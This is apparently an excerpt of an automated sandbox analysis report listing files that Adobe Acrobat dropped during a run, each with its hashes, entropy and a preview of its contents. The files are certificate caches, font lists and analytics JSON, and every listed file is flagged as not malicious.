SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.76081411817498
Encrypted:	false
SSDEEP:	3:kkFklu4EttfllXlE/HT8kx6h1NNX8RolJuRdxLlGB9lQRYwpDdt:kK34EteT84w7NMa8RdWBwRd
MD5:	BD7984785535B6C7F951F0AF4B234364
SHA1:	CBB95389C0DE4F345EF31C9002A4748DDEC2580B
SHA-256:	A982F02E6DC120C9C2A1D1981955B1A0B1CDD9A224966F73FEF906EF717DBF5B
SHA-512:	DDE6D4C44F9A357AF3E0358C2CD5260382684957E55E4DBDEAE5FD52A00D62E1524A6F4F26B9FD6CA41096F52EFED148D6EDB51DFC3F6AD68FF77EFA4B5CD243
Malicious:	false
Preview:	p...... ...........=zc..(....................................................... ..........W..... ..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.233096791118922
Encrypted:	false
SSDEEP:	6:kKvqq/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:66iDImsLNkPlE99SNxAhUe/3
MD5:	B44FE74357E70759AD3A64A4945B2EFE
SHA1:	6E164033055C2810000BE47F568D362E5D278BE1
SHA-256:	8C468B45410B335202B01BE02EF6AC157B74405D8252D37C9A1E01363FEEE04B
SHA-512:	3EF38D9E6CAADF8132F7DEDB117F6CF63AE4680EDABB380391F34E84B64659F1A89E041862445D41FB862BE2B7D12EBA5888876C59D62B23369BED0CBFCE2D0A
Malicious:	false
Preview:	p...... ..........bOzc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2448

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2448

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365983954199073
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJM3g98kUwPeUkwRe9:YvXKXAOIixEcyGMbLUkee9
MD5:	9E7DDF464BFADB0A5141897193DBAA51
SHA1:	FC827A75BEF9DFE810AB1581592CF39AA295FF7B
SHA-256:	5045588F8E2E3C54EF50B0F7E08C1C4FA7F2E60725B7359B2CC685F4E159A08E
SHA-512:	605FA3CA55B72FFF0F3EB521E5F907959E6418393EABCC03F163AE3D3744A9015E34AC8CD3FFA081F0F92C4F8A5EF7FBE15A8A39E1B2D7F7A5BAF34E54321BA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.320751774435965
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJfBoTfXpnrPeUkwRe9:YvXKXAOIixEcyGWTfXcUkee9
MD5:	53C2D0CD2B8507113920D5947FD820B8
SHA1:	3B558F8C1DA53D678C2EEDA9265200B607B40EFC
SHA-256:	B8719AC810EF064C3B4ABDD8856926CD5FBBA308CE6E39F9FC0FFB819ED2BAF0
SHA-512:	2EAB2C998AFDF43CF3AB90CDF540C207123157A452D3F846DAED64EA563F4BF1AF8EF19BBA6160BDE5972A79021703DD04AC8FA39A4924A9F06DF80ADD31A267
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298704374435324
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJfBD2G6UpnrPeUkwRe9:YvXKXAOIixEcyGR22cUkee9
MD5:	2DC63E63B6CF5DC7A1696B0D7F98E161
SHA1:	D84ECCC3BC84D0DDFA7FB08D21EB3FAC3D1BF1F8
SHA-256:	6C9FCAD39D6A75AF93E57F7E359F095503A602EF1775A96C65DF21E2CCD95FA5
SHA-512:	B98873E7D6BE70D2A0FF46BD6A325D8C88DEADF2CB37234A5B368AE79D2F1CD844336E95BEF8095F0A5AD9B5A9238F100AF713C0F3406B0607FB95BA0725E970
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.346098479613251
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJfPmwrPeUkwRe9:YvXKXAOIixEcyGH56Ukee9
MD5:	B38003F910DD90851EF1C36FD7C2D703
SHA1:	5D0FBE5E82F8338A124A154F9565A3CBCB1A6815
SHA-256:	C26AD328270A0026B71EA3D6BE56F3D0A7DC102316A5BAE268C40B8AB1746062
SHA-512:	EEB491357EC438D85BD363784BE85336AE939D70B6DBE2F02F9DA4FD609E0CF4C90A98DAE60E8B2D5650C7A469DCD51CE40323A1E62E7D367EA99C9E73B2D052
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6913118122357735
Encrypted:	false
SSDEEP:	24:Yv6XAOVxpPpLgE9cQx8LennAvzBvkn0RCmK8czOCCSxY:YvlOflhgy6SAFv5Ah8cv/e
MD5:	628149F36996F8940BD8E172E3DE6670
SHA1:	A6E8492A8E3388D25D806749A7BAD70EAD1D916B
SHA-256:	D94579A922182843E50BB2BBC7C3B0345D06FF31DBEDCF108077CE6D8D40C959
SHA-512:	28892F28917F858D08BAA6C0A4F93FD65A941ED400A1E4A6016402C16A654899E1A748594F3C21FAD1493C1B9C224F6D6D1EFF02267C8C7C8DAD28DD30F835DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297218586218691
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJf8dPeUkwRe9:YvXKXAOIixEcyGU8Ukee9
MD5:	3C97C005B1AF5DFC9012D1D5AAC9213F
SHA1:	1174181FE5184851AFFDC2AA86C25CAC22D007F3
SHA-256:	29EDDF6968D7DDB2BECDDD17ECC07B15563CFBEB5C10F289931796CB6CD118CA
SHA-512:	171918422B0F4553199DDBE25E20FA48B2DB05967D04E4780F5FD80304AE3456EF5C046C723CA3ECFAE27CD349E7B561F354A683EE084737DF45B398BCB1DBB7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3010646374313435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJfQ1rPeUkwRe9:YvXKXAOIixEcyGY16Ukee9
MD5:	044A3C607096F8A71C6162C56E78E112
SHA1:	7C8B9307DC301D1D91E6A6480930352819CD62DE
SHA-256:	1FE0B782E0291324FA77A0EB6809E033982B94468CB56EF506DD41C3210788E0
SHA-512:	D12CD05798508335C3E1DF5485C917322B2E3E217CC6D1FA3692D51A150CC957687667B26C836F152B3E2C97FA4C03D8F536C7724B812149324673D82D27054C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308708294655857
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJfFldPeUkwRe9:YvXKXAOIixEcyGz8Ukee9
MD5:	51F334BDEA60302F47B2E2218999BF00
SHA1:	567FF4F276608E0BA4F0D83105F8B6FB58EC9130
SHA-256:	9EEDCBFF6FE2F240FF01FDE40C9DCD8005D969E8F3DB04C504625BC08A980F6D
SHA-512:	BACCB4137B58552536734A1B52FE0039D5176D6AF8F8B840B6BDD7388FC95D6BC09EE6B7AD2A1C47563E3235983C53934DF2AEE49E5C9260642F5AFF665CF01E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.324016074187059
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJfzdPeUkwRe9:YvXKXAOIixEcyGb8Ukee9
MD5:	0542D24F4EB66EA931A7D24BD88CCADF
SHA1:	3F31D73120389C2644758A61BC7034A228363BD7
SHA-256:	E328DEE2128A33895CB5FD65BA053CD3FDE4A6888B74D6044B8607F5F433E44F
SHA-512:	8C1D51C079E7E04A8776D756FCC480EC58987CD9648962931896F44A4BDBC49D46F378156B449C8FD4F1A44D025A8DFBBE7AA2BFB87C47CDEAE76D024A454BF7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
